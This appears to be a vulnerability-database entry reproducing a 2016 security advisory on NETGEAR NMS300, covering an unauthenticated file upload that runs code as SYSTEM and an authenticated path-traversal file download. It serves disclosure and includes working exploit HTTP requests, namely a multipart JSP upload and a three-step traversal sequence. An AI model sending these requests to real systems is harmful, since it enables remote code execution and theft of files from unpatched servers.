VAR-201602-0193
Vulnerability from variot - Updated: 2025-04-13 23:03Directory traversal vulnerability in data/config/image.do in NETGEAR Management System NMS300 1.5.0.11 and earlier allows remote authenticated users to read arbitrary files via a .. (dot dot) in the realName parameter. The NetgearManagementSystem NMS300 is a network management system for diagnosing, controlling and optimizing network devices. Netgear Management System NMS300 is prone to a directory-traversal vulnerability and and multiple arbitrary file-upload vulnerabilities. Other attacks are also possible. Netgear Management System NMS300 1.5.0.11 and prior are vulnerable. >> Remote code execution / arbitrary file download in NETGEAR ProSafe Network Management System NMS300
> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/)
Disclosure: 04/02/2016 / Last updated: 04/02/2016
Background on the affected product: "NMS300 ProSAFE® Network Management System Diagnose, control, and optimize your network devices. An intuitive, web-based user interface makes it easier to monitor and administer an entire network."
Summary: Netgear's NMS300 is a network management utility that runs on Windows systems. It has serious two vulnerabilities that can be exploited by a remote attacker.
A special thanks to Joel Land of CERT/CC for helping disclose this vulnerability under ID 777024 [1]. Two new Metasploit modules that exploit these vulnerabilities have been released.
Technical details:
1
Vulnerability: Remote code execution via arbitrary file upload (unauthenticated) CVE-2016-1525 Affected versions: NMS300 1.5.0.11 NMS300 1.5.0.2 NMS300 1.4.0.17 NMS300 1.1.0.13
There are two servlets that allow unauthenticated file uploads: @RequestMapping({ "/fileUpload.do" }) public class FileUpload2Controller - Uses spring file upload
@RequestMapping({ "/lib-1.0/external/flash/fileUpload.do" }) public class FileUploadController - Uses flash upload
The JSP file can be uploaded as shown below, it will be named null[name].[extension] and can be reached on http://[host]:8080/null[name].[extension]. So for example if [name] = "testing" and [extension] = ".jsp", the final file will be named "nulltesting.jsp". [name] and [extension] can be seen in the sample request below. The code will execute as the SYSTEM user.
POST /lib-1.0/external/flash/fileUpload.do HTTP/1.1 Content-Type: multipart/form-data; boundary=----------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3
------------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3 Content-Disposition: form-data; name="name"
[name] ------------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3 Content-Disposition: form-data; name="Filedata"; filename="whatever.[extension]" Content-Type: application/octet-stream
<%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%>
Hello World ExampleA Hello World Example of JSP.
------------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3--
2
Vulnerability: Arbitrary file download (authenticated) CVE-2016-1524 Affected versions: NMS300 1.5.0.11 NMS300 1.5.0.2 NMS300 1.4.0.17 NMS300 1.1.0.13
Three steps need to be taken in order to exploit this vulnerability: a) Add a configuration image, with the realName parameter containing the path traversal to the target file: POST /data/config/image.do?method=add HTTP/1.1 realName=../../../../../../../../../../<file on C:>&md5=&fileName=&version=1337&vendor=Netgear&deviceType=4&deviceModel=FS526Tv2&description=bla
b) Obtain the file identifier (imageId) for the image that was created by scraping the page below for "imagename.img" (the fileName parameter in step 1): POST /data/getPage.do?method=getPageList&type=configImgManager everyPage=10000
Sample response: {"page":{"beginIndex":0,"recordCount":7,"totalRecords":7,"currentPage":1,"everyPage":10,"totalPage":1},"list":[{"imageId":"1","fileName":"agga5.img","createTime":"10/03/2015 21:12:36","realFileName":"../../../../../../../../../../log.txt","vendor":"Netgear","deviceType":"4","deviceModel":"FS526Tv2","version":"2323","sizeM":"24491","createBy":"admin","createId":"1","description":"bla\r\n"}
c) Download the file with the imageId obtained in step 2: GET /data/config/image.do?method=export&imageId=
Fix: No fix is currently available. It is recommended not to expose NMS300 to the Internet or any unstrusted networks.
References: [1] https://www.kb.cert.org/vuls/id/777024
================ Agile Information Security Limited http://www.agileinfosec.co.uk/
Show details on source websiteEnabling secure digital business >>
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"data": "Directory traversal vulnerability in data/config/image.do in NETGEAR Management System NMS300 1.5.0.11 and earlier allows remote authenticated users to read arbitrary files via a .. (dot dot) in the realName parameter. The NetgearManagementSystem NMS300 is a network management system for diagnosing, controlling and optimizing network devices. Netgear Management System NMS300 is prone to a directory-traversal vulnerability and and multiple arbitrary file-upload vulnerabilities. Other attacks are also possible. \nNetgear Management System NMS300 1.5.0.11 and prior are vulnerable. \u003e\u003e Remote code execution / arbitrary file download in NETGEAR ProSafe Network Management System NMS300\n\u003e\u003e Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/)\n==========================================================================\nDisclosure: 04/02/2016 / Last updated: 04/02/2016\n\n\n\u003e\u003e Background on the affected product:\n\"NMS300\nProSAFE\u00ae Network Management System\nDiagnose, control, and optimize your network devices. An intuitive, web-based user interface makes it easier to monitor and administer an entire network.\"\n\n\n\u003e\u003e Summary:\nNetgear\u0027s NMS300 is a network management utility that runs on Windows systems. It has serious two vulnerabilities that can be exploited by a remote attacker. \n\nA special thanks to Joel Land of CERT/CC for helping disclose this vulnerability under ID 777024 [1]. Two new Metasploit modules that exploit these vulnerabilities have been released. \n\n\n\u003e\u003e Technical details:\n#1\nVulnerability: Remote code execution via arbitrary file upload (unauthenticated)\nCVE-2016-1525\nAffected versions:\nNMS300 1.5.0.11\nNMS300 1.5.0.2\nNMS300 1.4.0.17\nNMS300 1.1.0.13\n\nThere are two servlets that allow unauthenticated file uploads:\n@RequestMapping({ \"/fileUpload.do\" })\npublic class FileUpload2Controller\n- Uses spring file upload\n\n@RequestMapping({ \"/lib-1.0/external/flash/fileUpload.do\" })\npublic class FileUploadController\n- Uses flash upload\n\nThe JSP file can be uploaded as shown below, it will be named null[name].[extension] and can be reached on http://[host]:8080/null[name].[extension]. \nSo for example if [name] = \"testing\" and [extension] = \".jsp\", the final file will be named \"nulltesting.jsp\". [name] and [extension] can be seen in the sample request below. The code will execute as the SYSTEM user. \n\nPOST /lib-1.0/external/flash/fileUpload.do HTTP/1.1\nContent-Type: multipart/form-data; boundary=----------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3\n\n------------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3\nContent-Disposition: form-data; name=\"name\"\n\n[name]\n------------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"whatever.[extension]\"\nContent-Type: application/octet-stream\n\n\u003c%@ page language=\"java\" contentType=\"text/html; charset=ISO-8859-1\"\npageEncoding=\"ISO-8859-1\"%\u003e\n\u003c!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\"\u003e\n\u003chtml\u003e\n\u003chead\u003e\n\u003cmeta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\"\u003e\n\u003ctitle\u003eHello World Example\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003ch2\u003eA Hello World Example of JSP.\u003c/h2\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n------------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3--\n\n\n#2\nVulnerability: Arbitrary file download (authenticated)\nCVE-2016-1524\nAffected versions:\nNMS300 1.5.0.11\nNMS300 1.5.0.2\nNMS300 1.4.0.17\nNMS300 1.1.0.13\n\nThree steps need to be taken in order to exploit this vulnerability:\na) Add a configuration image, with the realName parameter containing the path traversal to the target file:\nPOST /data/config/image.do?method=add HTTP/1.1\nrealName=../../../../../../../../../../\u003cfile on C:\\\u003e\u0026md5=\u0026fileName=\u003cimagename.img\u003e\u0026version=1337\u0026vendor=Netgear\u0026deviceType=4\u0026deviceModel=FS526Tv2\u0026description=bla\n\nb) Obtain the file identifier (imageId) for the image that was created by scraping the page below for \"imagename.img\" (the fileName parameter in step 1):\nPOST /data/getPage.do?method=getPageList\u0026type=configImgManager\neveryPage=10000\n\nSample response:\n{\"page\":{\"beginIndex\":0,\"recordCount\":7,\"totalRecords\":7,\"currentPage\":1,\"everyPage\":10,\"totalPage\":1},\"list\":[{\"imageId\":\"1\",\"fileName\":\"agga5.img\",\"createTime\":\"10/03/2015 21:12:36\",\"realFileName\":\"../../../../../../../../../../log.txt\",\"vendor\":\"Netgear\",\"deviceType\":\"4\",\"deviceModel\":\"FS526Tv2\",\"version\":\"2323\",\"sizeM\":\"24491\",\"createBy\":\"admin\",\"createId\":\"1\",\"description\":\"bla\\r\\n\"}\n\nc) Download the file with the imageId obtained in step 2:\nGET /data/config/image.do?method=export\u0026imageId=\u003cID\u003e\n\n\n\u003e\u003e Fix: \nNo fix is currently available. It is recommended not to expose NMS300 to the Internet or any unstrusted networks. \n\n\n\u003e\u003e References:\n[1] https://www.kb.cert.org/vuls/id/777024\n\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business \u003e\u003e\n\n",
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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